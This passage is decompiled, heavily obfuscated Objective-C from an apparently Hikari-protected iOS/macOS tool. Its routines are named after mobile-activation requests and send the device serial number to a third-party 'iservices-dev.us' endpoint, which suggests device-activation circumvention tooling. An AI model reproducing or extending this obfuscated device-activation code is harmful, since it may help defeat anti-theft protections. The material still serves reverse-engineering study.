v131[1] = v131;
md = v130;
v133 = v186;
v131[2] = 0x2020000000LL;
v131[3] = -1;
*v133 = 0;
v133[1] = v133;
v133[2] = 0x3032000000LL;
v133[3] = __Block_byref_object_copy__0;
v133[4] = __Block_byref_object_dispose__0;
v133[5] = 0;
v140 = p_md;
v141 = +[NSURLSession sharedSession](&OBJC_CLASS___NSURLSession, "sharedSession", 0, 0, v132);
v198 = objc_retainAutoreleasedReturnValue(v141);
v142 = v184;
*v184 = _NSConcreteStackBlock;
v142[1] = (id)3254779904LL;
v143 = v201;
v142[2] = __63__NSObject_MobileActivationRequests__factoryRequestDev_device___block_invoke;
v142[3] = &__block_descriptor_64_e8_32s40r48r56r_e46_v32__0__NSData_8__NSURLResponse_16__NSError_24l;
v142[5] = v140;
v142[6] = v133;
v142[7] = v143;
objc_retain(md);
v144 = md;
v142[4] = md;
v145 = objc_msgSend(v198, "dataTaskWithRequest:completionHandler:", v205, v142);
v146 = objc_retainAutoreleasedReturnValue(v145);
v147 = v175;
v148 = v146;
objc_msgSend(v146, "resume");
v203 = v148;
v149 = (const char *)dispatch_time(0, 60000000000LL);
HikariFunctionWrapper_1568((dispatch_semaphore_s *)v144, (dispatch_time_t)v149);
v151 = p_md;
v152 = v197;
v153 = v186;
if ( *(_QWORD *)(*((_QWORD *)p_md + 1) + 40LL) )
{
v154 = objc_alloc((Class)&OBJC_CLASS___NSString);
v149 = "initWithData:encoding:";
v189 = objc_msgSend(v154, "initWithData:encoding:", *(_QWORD *)(v151[1] + 40LL), 4);
}
NSLog(
CFSTR("x\xF1\x8F\x38\x71\xC7\x70#AP\xAB\xBB\x18\x05m]\x11\x14\xB7yr~\xB3~\xB55})\xAB\x8C\xB1+]/"),
v149,
v150,
4080645411LL);
NSLog(
CFSTR("z\xEE\x70\x23]\xFF\xEE\x35\xFD\x89\\\xE1\xDE\x7B3"),
*(_QWORD *)(*((_QWORD *)v201 + 1) + 24LL),
3805156314LL,
11);
NSLog(CFSTR("\xF6\xD3\x17\x0A\xD5\x02\x02|"), v189);
NSLog(CFSTR("\xA9\x10`{#\u07B7\x92"), *(_QWORD *)(v153[1] + 40LL), 3320692288LL, 2750285704LL);
HikariFunctionWrapper_1570(&stru_100275730.isa);
v155 = *(void **)(v153[1] + 40LL);
if ( v155 || !*(_QWORD *)(v151[1] + 40LL) )
{
*v147 = CFSTR("\xFEI\x8C<eg\xA1\xA8\xBC\x99L\xDB\x14b\xEA\x1A\x93");
v161 = objc_msgSend(v155, "localizedDescription");
v162 = (__CFString *)objc_retainAutoreleasedReturnValue(v161);
v163 = v162;
if ( !v162 )
v163 = CFSTR("\x89\x9CNc\b\xE1\x74\x19b\x9D\xB1ǐ\xF5\xD6\xA6\x0E");
*v152 = v163;
v147[1] = CFSTR("`VV\xE5\x46\xE9kJ\xE7\x65\x30");
v152[1] = CFSTR("j)_\xB4CZ");
v164 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v152,
v147,
2);
v197 = objc_retainAutoreleasedReturnValue(v164);
objc_release(v162);
}
else
{
v156 = v176;
v157 = v177;
v158 = v189;
if ( *(_QWORD *)(*((_QWORD *)v201 + 1) + 24LL) == 200 )
{
v159 = v178;
v160 = v179;
v170 = CFSTR("\x9C~\a\x97\xAC\vW\xAAMGV'\xAF\x18O");
if ( v189 )
v170 = (__CFString *)v189;
*v179 = CFSTR("\xFEI\x8C<eg\xA1\xA8\xBC\x99L\xDB\x14b\xEA\x1A\x93");
*v159 = v170;
v160[1] = CFSTR("`VV\xE5\x46\xE9kJ\xE7\x65\x30");
v159[1] = CFSTR("\x8C\xBC\x97\xFA\x03\xA4j");
v171 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v159,
v160,
2);
v197 = objc_retainAutoreleasedReturnValue(v171);
}
else
{
*v177 = CFSTR("\xFEI\x8C<eg\xA1\xA8\xBC\x99L\xDB\x14b\xEA\x1A\x93");
*v156 = v158;
v157[1] = CFSTR("`VV\xE5\x46\xE9kJ\xE7\x65\x30");
v156[1] = CFSTR("j)_\xB4CZ");
v169 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v156,
v157,
2);
v197 = objc_retainAutoreleasedReturnValue(v169);
}
}
v165 = v201;
v166 = (id *)p_md;
v167 = (id *)v186;
v168 = v203;
objc_release(v189);
objc_release(v168);
objc_release(v184[4]);
objc_release(v198);
_Block_object_dispose(v167, 8);
objc_release(v167[5]);
_Block_object_dispose(v165, 8);
_Block_object_dispose(v166, 8);
objc_release(v166[5]);
objc_release(md);
objc_release(v205);
objc_release(v193);
objc_release(v200);
objc_release(v199);
v136 = v196;
}
else
{
v134 = v205;
v135 = v203;
NSLog(
CFSTR("9\xA8C9E\xFBK=E\x93\xC4\xFC\xBA\x7F\x96w\xBF|:\xBB\x92I\xA0\n\x90\xC8\x27囹\xE1\x63\xA3\v\xB3\xF2\x30\x72\x33"),
v188);
*v135 = CFSTR("\xFEI\x8C<eg\xA1\xA8\xBC\x99L\xDB\x14b\xEA\x1A\x93");
*v134 = CFSTR("\xA2\x80\x82\xE3\x46\x99\x05\xBE\xE1\xD8\xF9\xF0\xA5\xB5\xE3F,c\xBDd]A\x83\xDF\x5Bl\x9A\x93");
v135[1] = CFSTR("`VV\xE5\x46\xE9kJ\xE7\x65\x30");
v136 = v196;
v137 = v205;
v138 = v203;
*((_QWORD *)v205 + 1) = CFSTR("j)_\xB4CZ");
v139 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v137,
v138,
2);
v197 = objc_retainAutoreleasedReturnValue(v139);
}
objc_release(v185);
objc_release(v183);
objc_release(v208[0]);
objc_release(v202);
objc_release(v192);
objc_release(v182);
objc_release(v181);
objc_release(v206);
objc_release(v180);
objc_release(v207);
objc_release(v195);
objc_release(v136);
}
else
{
NSLog(
CFSTR("Qy\xBB\x1CY\x94z\xE5\xA0\xF6\f\x95\xA5\xB8\xBBdkj\x87\xAA\xBF\x95\x1F\f\xD4\x56\xEF\x8C\x6F\xD9\x0Fa\xFD\xBA]\xC3\xE8\xBBʲ7o\xC1\x6B\x93\xB0"),
v13,
1232320922);
v15 = v206;
v188 = v13;
*(_QWORD *)v206 = CFSTR("\xFEI\x8C<eg\xA1\xA8\xBC\x99L\xDB\x14b\xEA\x1A\x93");
*v14 = CFSTR("7&ZʦY\xED\x7B\x55W \xA8O\x05\xC3\x23\xB9\xDF\xCB\x83\xBA\v\x1D+\xFA\x00zα\x8Cd\x84\x90\x18^\x0E");
v15[1] = CFSTR("`VV\xE5\x46\xE9kJ\xE7\x65\x30");
v14[1] = CFSTR("j)_\xB4CZ");
v16 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v14,
v15,
2);
v197 = objc_retainAutoreleasedReturnValue(v16);
}
v12 = v191;
v172 = v188;
objc_release(v190);
objc_release(v172);
}
else
{
v8 = v5;
v9 = v207;
HikariFunctionWrapper_1538(CFSTR("㋻㎲ꨰ㏟逸譨ₚ맓첌偷빵ꀬ돂속\u17EF䞘ܾⰱ樳胀킋轜ᅩ莩ㅱ藹\x9A\xDB\xAE\x5Fꄩ"));
*v9 = CFSTR("\xFEI\x8C<eg\xA1\xA8\xBC\x99L\xDB\x14b\xEA\x1A\x93");
*v5 = CFSTR("\x13\x9Cv\xE2\x5E\x73\x9D\xFC\xC5\x4B\x97#\x9D\xB9O\xF6\x39\x70\x67\xBA\xB6\xE8\x11\x91");
v9[1] = CFSTR("`VV\xE5\x46\xE9kJ\xE7\x65\x30");
v10 = v207;
v8[1] = CFSTR("j)_\xB4CZ");
v11 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v8,
v10,
2);
v197 = objc_retainAutoreleasedReturnValue(v11);
v12 = v191;
}
objc_release(v12);
return objc_autoreleaseReturnValue(v197);
}
// 1000AE0DC: bad sp value at call
// 1000AFE78: variable 'v150' is possibly undefined
// 10025B688: using guessed type __CFString stru_10025B688;
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 100274BC0: using guessed type __int16 aUO[34];
// 100274CF0: using guessed type __CFString stru_100274CF0;
// 100274D30: using guessed type __CFString stru_100274D30;
// 100274D70: using guessed type __CFString stru_100274D70;
// 100274E70: using guessed type __CFString cfstr_J_6_0;
// 100274F70: using guessed type __CFString stru_100274F70;
// 100274FB0: using guessed type __CFString stru_100274FB0;
// 100275070: using guessed type __CFString stru_100275070;
// 1002750F0: using guessed type __CFString cfstr_Vv_0;
// 100275170: using guessed type __CFString stru_100275170;
// 1002751B0: using guessed type __CFString cfstr_S_5_0;
// 1002751F0: using guessed type __CFString stru_1002751F0;
// 100275230: using guessed type __CFString stru_100275230;
// 100275270: using guessed type __CFString stru_100275270;
// 1002752F0: using guessed type __CFString cfstr_C_8_0;
// 100275330: using guessed type __CFString stru_100275330;
// 100275370: using guessed type __CFString stru_100275370;
// 1002753F0: using guessed type __CFString cfstr_W_5_0;
// 100275430: using guessed type __CFString stru_100275430;
// 1002754B0: using guessed type __CFString stru_1002754B0;
// 1002754F0: using guessed type __CFString stru_1002754F0;
// 1002755B0: using guessed type __CFString stru_1002755B0;
// 1002755F0: using guessed type __CFString stru_1002755F0;
// 1002756F0: using guessed type __CFString stru_1002756F0;
// 100275730: using guessed type __CFString stru_100275730;
// 100275770: using guessed type __CFString stru_100275770;
// 1002757B0: using guessed type __CFString stru_1002757B0;
// 100275830: using guessed type __CFString stru_100275830;
// 1002758B0: using guessed type __CFString stru_1002758B0;
// 1002758F0: using guessed type __CFString cfstr_7ZY_0;
// 10029F494: using guessed type int dword_10029F494;
//----- (00000001000B0D0C) ----------------------------------------------------
__int64 __fastcall __63__NSObject_MobileActivationRequests__factoryRequestDev_device___block_invoke(
__int64 a1,
void *a2,
void *a3,
void *a4)
{
void *v4; // rbx
__int64 result; // rax
char v6; // cf
int v7; // eax
int v8; // ecx
id v9; // rax
__int64 v10; // rbx
__int64 v11; // r12
void *v12; // rdi
__int64 v13; // rax
char v14; // cf
int v15; // ecx
__int64 v16; // r12
id v17; // r14
void *v18; // rdi
__int64 v19; // r12
void *v20; // rdi
__int64 v21; // r12
id v22; // r14
void *v23; // rdi
__int64 v25; // [rsp+8h] [rbp-68h]
id v26; // [rsp+10h] [rbp-60h]
__int64 v27; // [rsp+18h] [rbp-58h]
int v28; // [rsp+24h] [rbp-4Ch] BYREF
__int64 v29; // [rsp+28h] [rbp-48h]
id v30; // [rsp+30h] [rbp-40h]
bool v31; // [rsp+3Fh] [rbp-31h]
int *v32; // [rsp+40h] [rbp-30h]
v30 = a4;
v4 = a3;
v29 = a1;
v28 = -1031525299;
v32 = &v28;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v28;
if ( v28 <= 468551164 )
break;
if ( v28 <= 1131483510 )
{
if ( v28 > 929480365 )
{
switch ( v28 )
{
case 929480366:
v7 = 1980094534;
if ( v31 )
v7 = 1864504085;
LABEL_72:
*v32 = v7;
break;
case 1099897092:
objc_retain(a2);
objc_retain(v4);
objc_retain(v30);
v19 = *(_QWORD *)(*(_QWORD *)(v29 + 40) + 8LL);
objc_retain(a2);
v20 = *(void **)(v19 + 40);
*(_QWORD *)(v19 + 40) = a2;
objc_release(v20);
*v32 = 1812393563;
break;
case 1105786219:
*v32 = -1930206514;
break;
}
}
else
{
switch ( v28 )
{
case 468551165:
v14 = 1;
*(_QWORD *)(v27 + 24) = v26;
v7 = 351883602;
goto LABEL_56;
case 612830889:
v16 = *(_QWORD *)(*(_QWORD *)v25 + 8LL);
v17 = v30;
objc_retain(v30);
v18 = *(void **)(v16 + 40);
*(_QWORD *)(v16 + 40) = v17;
objc_release(v18);
+[NSHTTPURLResponse class](&OBJC_CLASS___NSHTTPURLResponse, "class");
HikariFunctionWrapper_1628(v4, "isKindOfClass:");
LABEL_67:
*v32 = -1136710992;
break;
case 910378148:
v9 = objc_msgSend(v4, "statusCode");
v6 = 1;
v26 = v9;
v7 = 910378148;
v8 = -807500273;
goto LABEL_70;
}
}
}
else if ( v28 <= 1864504084 )
{
switch ( v28 )
{
case 1131483511:
v14 = 0;
v7 = -1031090903;
LABEL_56:
v15 = 468551165;
LABEL_57:
if ( !v14 )
v7 = v15;
goto LABEL_72;
case 1641157506:
*v32 = 929480366;
break;
case 1812393563:
objc_retain(a2);
objc_retain(v4);
objc_retain(v30);
v10 = v29;
v11 = *(_QWORD *)(*(_QWORD *)(v29 + 40) + 8LL);
objc_retain(a2);
v12 = *(void **)(v11 + 40);
*(_QWORD *)(v11 + 40) = a2;
objc_release(v12);
v13 = v10 + 48;
v4 = a3;
v25 = v13;
v7 = -1929627990;
goto LABEL_72;
}
}
else if ( v28 > 1939602658 )
{
if ( v28 == 1939602659 )
{
objc_release(v4);
objc_release(a2);
v14 = 1;
v7 = 1105786219;
v15 = 1939602659;
goto LABEL_57;
}
if ( v28 == 1980094534 )
{
v6 = 0;
v7 = 910378148;
v8 = 278322510;
goto LABEL_70;
}
}
else
{
if ( v28 == 1864504085 )
{
v6 = 1;
v7 = -1385126796;
v8 = -924841866;
goto LABEL_70;
}
if ( v28 == 1935395384 )
{
v6 = 0;
v7 = 1939602659;
v8 = -186588366;
goto LABEL_70;
}
}
}
if ( v28 <= -1031090904 )
break;
if ( v28 <= -186588367 )
{
switch ( v28 )
{
case -1031090903:
*(_QWORD *)(v27 + 24) = v26;
*v32 = 468551165;
break;
case -924841866:
dispatch_semaphore_signal(*(dispatch_semaphore_t *)(v29 + 32));
objc_release(v30);
v6 = 0;
v7 = -1508542355;
v8 = -1385126796;
goto LABEL_70;
case -807500273:
*v32 = 263817848;
break;
}
}
else if ( v28 > 278322509 )
{
if ( v28 == 278322510 )
{
objc_msgSend(v4, "statusCode");
*v32 = 910378148;
}
else if ( v28 == 351883602 )
{
*v32 = 1864504085;
}
}
else if ( v28 == -186588366 )
{
objc_release(v4);
objc_release(a2);
*v32 = 1939602659;
}
else if ( v28 == 263817848 )
{
v27 = *(_QWORD *)(*(_QWORD *)(v29 + 56) + 8LL);
*v32 = 1131483511;
}
}
if ( v28 <= -1385126797 )
break;
switch ( v28 )
{
case -1385126796:
HikariFunctionWrapper_1630(*(dispatch_semaphore_s **)(v29 + 32));
objc_release(v30);
*v32 = -924841866;
break;
case -1136710992:
v21 = *(_QWORD *)(*(_QWORD *)v25 + 8LL);
v22 = v30;
objc_retain(v30);
v23 = *(void **)(v21 + 40);
*(_QWORD *)(v21 + 40) = v22;
objc_release(v23);
+[NSHTTPURLResponse class](&OBJC_CLASS___NSHTTPURLResponse, "class");
v31 = (unsigned __int8)HikariFunctionWrapper_1626(v4, "isKindOfClass:") == 0;
v6 = 0;
v7 = 1641157506;
v8 = 612830889;
LABEL_70:
if ( v6 )
v7 = v8;
goto LABEL_72;
case -1031525299:
v6 = 0;
v7 = 1812393563;
v8 = 1099897092;
goto LABEL_70;
}
}
if ( v28 <= -1672876397 )
break;
if ( v28 == -1672876396 )
goto LABEL_67;
if ( v28 == -1508542355 )
*v32 = 1935395384;
}
if ( v28 != -1929627990 )
break;
*v32 = -1672876396;
}
}
while ( v28 != -1930206514 );
return result;
}
// 1000B1266: variable 'v26' is possibly undefined
// 1000B1266: variable 'v27' is possibly undefined
// 1000B135B: variable 'v25' is possibly undefined
//----- (00000001000B14D8) ----------------------------------------------------
id IsExistFromServer()
{
id v0; // rax
id v1; // rax
id v2; // rax
char v3; // cf
int v4; // eax
int v5; // ecx
char v6; // cf
int v7; // ecx
bool v8; // zf
int v9; // ecx
bool v10; // zf
int v11; // eax
NSString *v12; // rax
NSString *v13; // rax
int v14; // eax
id v15; // rax
id v16; // rax
id v17; // rax
id v18; // rax
id v19; // rax
NSURL *v20; // rax
NSURL *v21; // rax
int v22; // ecx
id v23; // rax
__CFString *v24; // rax
int v25; // eax
id v26; // rax
id v27; // rax
id v28; // rax
NSData *v29; // rax
NSString *v30; // rax
id v31; // rax
id v32; // rax
id v33; // rbx
id v34; // rax
id v35; // rax
id v36; // rax
NSData *v37; // rax
id v38; // rax
id v39; // rax
id v40; // rax
id v41; // rax
id v42; // rax
id v43; // rax
id v44; // rax
id v45; // rax
__int64 v47; // [rsp-10h] [rbp-170h] BYREF
id v48; // [rsp+0h] [rbp-160h] BYREF
id v49; // [rsp+8h] [rbp-158h]
__CFString *v50; // [rsp+10h] [rbp-150h]
id v51; // [rsp+18h] [rbp-148h]
__CFString *v52; // [rsp+20h] [rbp-140h]
__CFString *v53; // [rsp+28h] [rbp-138h]
__CFString *v54; // [rsp+30h] [rbp-130h]
__CFString *v55; // [rsp+38h] [rbp-128h]
id v56; // [rsp+40h] [rbp-120h]
id v57; // [rsp+48h] [rbp-118h]
id v58; // [rsp+50h] [rbp-110h]
SEL v59; // [rsp+58h] [rbp-108h]
id v60; // [rsp+60h] [rbp-100h]
id v61; // [rsp+68h] [rbp-F8h]
void *v62; // [rsp+70h] [rbp-F0h]
__CFString *v63; // [rsp+78h] [rbp-E8h]
__CFString *v64; // [rsp+80h] [rbp-E0h]
id v65; // [rsp+88h] [rbp-D8h]
int v66; // [rsp+90h] [rbp-D0h]
int v67; // [rsp+94h] [rbp-CCh] BYREF
id v68; // [rsp+98h] [rbp-C8h]
SEL v69; // [rsp+A0h] [rbp-C0h]
id v70; // [rsp+A8h] [rbp-B8h]
id v71; // [rsp+B0h] [rbp-B0h]
__CFString *v72; // [rsp+B8h] [rbp-A8h]
__CFString *v73; // [rsp+C0h] [rbp-A0h]
id v74; // [rsp+C8h] [rbp-98h]
id v75; // [rsp+D0h] [rbp-90h]
id v76; // [rsp+D8h] [rbp-88h]
const char *v77; // [rsp+E0h] [rbp-80h]
id v78; // [rsp+E8h] [rbp-78h]
id v79; // [rsp+F0h] [rbp-70h]
id *v80; // [rsp+F8h] [rbp-68h]
id *v81; // [rsp+100h] [rbp-60h]
id v82; // [rsp+108h] [rbp-58h]
id v83; // [rsp+110h] [rbp-50h]
id v84; // [rsp+118h] [rbp-48h]
id v85; // [rsp+120h] [rbp-40h]
bool v86; // [rsp+129h] [rbp-37h]
bool v87; // [rsp+12Ah] [rbp-36h]
bool v88; // [rsp+12Bh] [rbp-35h]
bool v89; // [rsp+12Ch] [rbp-34h]
unsigned __int8 v90; // [rsp+12Dh] [rbp-33h]
bool v91; // [rsp+12Eh] [rbp-32h]
char v92; // [rsp+12Fh] [rbp-31h]
int *v93; // [rsp+130h] [rbp-30h]
v66 = dword_10029F49C;
v67 = -1244857334;
v93 = &v67;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v67 > -285422984 )
{
if ( v67 > 1066295430 )
{
if ( v67 <= 1634410026 )
{
if ( v67 <= 1286289155 )
{
if ( v67 > 1213010088 )
{
switch ( v67 )
{
case 1213010089:
v53 = v72;
v4 = 1290627051;
goto LABEL_277;
case 1228741326:
*v93 = -242568802;
break;
case 1259648731:
v8 = 0;
v4 = 1879468979;
v9 = -3468256;
goto LABEL_262;
}
}
else
{
switch ( v67 )
{
case 1066295431:
*v93 = 402169617;
v73 = v55;
break;
case 1073970827:
goto LABEL_227;
case 1152135824:
objc_release(v76);
objc_release(v70);
objc_release(v75);
objc_release(v68);
v6 = 0;
v4 = 1152135824;
v7 = 1066295431;
goto LABEL_269;
}
}
}
else if ( v67 <= 1462608435 )
{
switch ( v67 )
{
case 1286289156:
objc_release(v60);
v91 = v90 == 0;
v8 = 0;
v4 = 1286289156;
v9 = -1304242639;
goto LABEL_262;
case 1290627051:
objc_release(v84);
v3 = 0;
v4 = 1462608436;
v5 = -569849192;
goto LABEL_275;
case 1388903364:
*v93 = 682379953;
break;
}
}
else if ( v67 > 1535569127 )
{
if ( v67 == 1535569128 )
{
*v93 = -422013332;
}
else if ( v67 == 1604349513 )
{
objc_retain(*v81);
*v93 = 786102749;
}
}
else if ( v67 == 1462608436 )
{
*v93 = 333509499;
v62 = v51;
v63 = v53;
}
else if ( v67 == 1509405701 )
{
v6 = 1;
v4 = -285422983;
v7 = -1764613638;
goto LABEL_269;
}
}
else if ( v67 > 1923695268 )
{
if ( v67 <= 2016651122 )
{
switch ( v67 )
{
case 1923695269:
HikariFunctionWrapper_1644(v82, "length");
*v93 = -1988244810;
break;
case 1952106426:
v6 = 0;
v4 = 1952106426;
v7 = -416418078;
goto LABEL_269;
case 2002756319:
objc_release(v82);
objc_autoreleaseReturnValue(v74);
*v93 = -1642331494;
break;
}
}
else if ( v67 > 2112044836 )
{
if ( v67 == 2112044837 )
{
*v93 = -494355862;
v64 = v54;
}
else if ( v67 == 2130627792 )
{
v18 = objc_msgSend(v56, "SerialNumber");
objc_retainAutoreleasedReturnValue(v18);
*v93 = -707184548;
}
}
else
{
if ( v67 == 2016651123 )
{
v8 = 0;
v4 = -1382468698;
v9 = 1388903364;
goto LABEL_262;
}
if ( v67 == 2049349101 )
{
v8 = !v89;
v4 = 521344587;
v9 = 627099545;
goto LABEL_262;
}
}
}
else if ( v67 <= 1713295299 )
{
switch ( v67 )
{
case 1634410027:
*v93 = -630255299;
break;
case 1649807183:
objc_release(v61);
*v93 = -1279155511;
break;
case 1694858825:
*v93 = 234058674;
break;
}
}
else if ( v67 > 1879468978 )
{
if ( v67 == 1879468979 )
{
aSa_0[22] = v92 ^ 0xBB;
aSa_0[23] = 101;
aSa_0[24] = 61;
aSa_0[25] = 37;
aSa_0[26] = 64;
aSa_0[27] = 0;
strcpy(aU_6, "application/json");
strcpy(asc_100275A20, "Error: Unable to determine file existence.");
asc_100275B13[0] = 65;
asc_100275B13[1] = 99;
asc_100275B13[2] = 99;
asc_100275B13[3] = 101;
asc_100275B13[4] = 112;
asc_100275B13[5] = 116;
asc_100275B13[6] = 0;
strcpy(asc_100275A90, "Error: Invalid URL.");
strcpy(asc_100274930, "Error: %@");
asc_100273D8F[0] = 115;
asc_100273D8F[1] = 117;
asc_100273D8F[2] = 99;
asc_100273D8F[3] = 99;
asc_100273D8F[4] = 101;
asc_100273D8F[5] = 115;
asc_100273D8F[6] = 115;
asc_100273D8F[7] = 0;
aV_8[0] = 105;
aV_8[1] = 65;
aV_8[2] = 49;
aV_8[3] = 46;
aV_8[4] = 48;
aV_8[5] = 0;
strcpy(aD_6, "File exists.");
strcpy(aS_5, "X-App-Version");
asc_100275B59[0] = 109;
asc_100275B59[1] = 101;
asc_100275B59[2] = 115;
asc_100275B59[3] = 115;
asc_100275B59[4] = 97;
asc_100275B59[5] = 103;
asc_100275B59[6] = 101;
asc_100275B59[7] = 0;
aL3[0] = 97;
aL3[1] = 108;
aL3[2] = 100;
aL3[3] = 97;
aL3[4] = 122;
aL3[5] = 100;
aL3[6] = 101;
aL3[7] = 118;
aL3[8] = 0;
strcpy(aG_12, "https://iservices-dev.us/Mobile/IsExist.php");
strcpy(asc_1002759C0, "Error: Unable to retrieve serial number.");
*v93 = -3468256;
}
else if ( v67 == 1904971749 )
{
aA_7[5] = 110;
aA_7[6] = 115;
aA_7[7] = 101;
aA_7[8] = 58;
aA_7[9] = 32;
aA_7[10] = 37;
aA_7[11] = 64;
aA_7[12] = 0;
strcpy(aEi, "%@-%@-%@-%@");
asc_100275BBC[0] = 71;
asc_100275BBC[1] = 69;
asc_100275BBC[2] = 84;
asc_100275BBC[3] = 0;
strcpy(asc_100273B8D, "X-Status-Device");
qmemcpy(aSa_0, "%@?iDev_Serial=%@&Devi", 22);
v8 = 0;
v92 = -40;
v4 = 1904971749;
v9 = -499750392;
goto LABEL_262;
}
}
else if ( v67 == 1713295300 )
{
*v93 = -929169863;
}
else if ( v67 == 1785457682 )
{
aA_7[5] = 110;
aA_7[6] = 115;
aA_7[7] = 101;
aA_7[8] = 58;
aA_7[9] = 32;
aA_7[10] = 37;
aA_7[11] = 64;
aA_7[12] = 0;
strcpy(aEi, "%@-%@-%@-%@");
asc_100275BBC[0] = 71;
asc_100275BBC[1] = 69;
asc_100275BBC[2] = 84;
asc_100275BBC[3] = 0;
strcpy(asc_100273B8D, "X-Status-Device");
qmemcpy(aSa_0, "%@?iDev_Serial=%@&Devi", 22);
*v93 = 1904971749;
}
}
else if ( v67 <= 521344586 )
{
if ( v67 <= 234058673 )
{
if ( v67 > -3468257 )
{
switch ( v67 )
{
case -3468256:
aSa_0[22] = v92 - 2 * (v92 & 0x3B) - 69;
aSa_0[23] = 101;
aSa_0[24] = 61;
aSa_0[25] = 37;
aSa_0[26] = 64;
aSa_0[27] = 0;
strcpy(aU_6, "application/json");
strcpy(asc_100275A20, "Error: Unable to determine file existence.");
asc_100275B13[0] = 65;
asc_100275B13[1] = 99;
asc_100275B13[2] = 99;
asc_100275B13[3] = 101;
asc_100275B13[4] = 112;
asc_100275B13[5] = 116;
asc_100275B13[6] = 0;
strcpy(asc_100275A90, "Error: Invalid URL.");
strcpy(asc_100274930, "Error: %@");
asc_100273D8F[0] = 115;
asc_100273D8F[1] = 117;
asc_100273D8F[2] = 99;
asc_100273D8F[3] = 99;
asc_100273D8F[4] = 101;
asc_100273D8F[5] = 115;
asc_100273D8F[6] = 115;
asc_100273D8F[7] = 0;
aV_8[0] = 105;
aV_8[1] = 65;
aV_8[2] = 49;
aV_8[3] = 46;
aV_8[4] = 48;
aV_8[5] = 0;
strcpy(aD_6, "File exists.");
strcpy(aS_5, "X-App-Version");
asc_100275B59[0] = 109;
asc_100275B59[1] = 101;
asc_100275B59[2] = 115;
asc_100275B59[3] = 115;
asc_100275B59[4] = 97;
asc_100275B59[5] = 103;
asc_100275B59[6] = 101;
asc_100275B59[7] = 0;
aL3[0] = 97;
aL3[1] = 108;
aL3[2] = 100;
aL3[3] = 97;
aL3[4] = 122;
aL3[5] = 100;
aL3[6] = 101;
aL3[7] = 118;
aL3[8] = 0;
strcpy(aG_12, "https://iservices-dev.us/Mobile/IsExist.php");
strcpy(asc_1002759C0, "Error: Unable to retrieve serial number.");
*v93 = -809620394;
break;
case 125253165:
v88 = v48 == 0;
v6 = 0;
v4 = -2097680598;
v7 = -1989953888;
goto LABEL_269;
case 180904948:
v3 = 1;
v4 = 821776139;
v5 = -312710803;
goto LABEL_275;
}
}
else
{
switch ( v67 )
{
case -285422983:
dword_10029F49C = 1;
v80 = &v48;
v81 = (id *)&v47;
v4 = 1535569128;
goto LABEL_277;
case -284765091:
*v93 = 180904948;
break;
case -242568802:
v69 = "stringWithFormat:";
v12 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("EI\xAF'(\x03HlmV"),
v82,
v68,
CFSTR("\f\xCD\x0E\n{\xD8\x57\x19aX\x8B\xF6\xFE\xEC\x506\xE0\x92\xA7"),
CFSTR("\x02{'L3\xADJ\x7F}"));
v75 = objc_retainAutoreleasedReturnValue(v12);
v49 = &OBJC_CLASS___NSString;
v13 = +[iOSDevice iOSVersion](&OBJC_CLASS___iOSDevice, "iOSVersion");
v57 = objc_retainAutoreleasedReturnValue(v13);
*v93 = -584211401;
break;
}
}
}
else if ( v67 <= 368739060 )
{
switch ( v67 )
{
case 234058674:
v4 = 786102749;
goto LABEL_277;
case 241311454:
*v93 = -2040948347;
break;
case 333509499:
v54 = v63;
v65 = v62;
v6 = 0;
v4 = -1973361910;
v7 = -1021450267;
goto LABEL_269;
}
}
else if ( v67 > 421843006 )
{
if ( v67 == 421843007 )
{
v6 = 0;
v4 = 421843007;
v7 = -760098577;
goto LABEL_269;
}
if ( v67 == 507770833 )
*v93 = -609497341;
}
else if ( v67 == 368739061 )
{
HikariFunctionWrapper_1634(v85, v77);
HikariFunctionWrapper_1636(v85, v77);
*v80 = 0;
*v81 = 0;
v37 = +[NSURLConnection sendSynchronousRequest:returningResponse:error:](
&OBJC_CLASS___NSURLConnection,
"sendSynchronousRequest:returningResponse:error:",
v85,
v80,
v81);
v83 = objc_retainAutoreleasedReturnValue(v37);
v58 = *v80;
objc_retain(v58);
v8 = 0;
v4 = 368739061;
v9 = 1694858825;
LABEL_262:
if ( !v8 )
v4 = v9;
LABEL_277:
*v93 = v4;
}
else if ( v67 == 402169617 )
{
v74 = v73;
v3 = 1;
v4 = 2002756319;
v5 = -1642331494;
goto LABEL_275;
}
}
else if ( v67 > 682379952 )
{
if ( v67 <= 821776138 )
{
switch ( v67 )
{
case 682379953:
v3 = 1;
v4 = -1330985184;
v5 = 421843007;
goto LABEL_275;
case 685655322:
*v93 = -1743050299;
break;
case 786102749:
v79 = *v81;
objc_retain(v79);
v89 = v79 == 0;
v3 = 0;
v78 = &OBJC_CLASS___NSString;
v4 = 2049349101;
v5 = 1604349513;
goto LABEL_275;
}
}
else if ( v67 > 956635702 )
{
if ( v67 == 956635703 )
{
v3 = 0;
v4 = 368739061;
v5 = -1582271160;
goto LABEL_275;
}
if ( v67 == 976825310 )
{
v16 = objc_msgSend(v84, "objectForKeyedSubscript:", CFSTR("\x8C\xBC\x97\xFA\x03\xA4j"));
v17 = objc_retainAutoreleasedReturnValue(v16);
objc_msgSend(v17, "boolValue");
*v93 = -1456586551;
}
}
else if ( v67 == 821776139 )
{
v34 = objc_msgSend(v78, v69, CFSTR("\xA9\x10`{#\u07B7\x92"), v71);
objc_retainAutoreleasedReturnValue(v34);
*v93 = -312710803;
}
else if ( v67 == 876587040 )
{
v8 = !v86;
v4 = 1509405701;
v9 = -605991746;
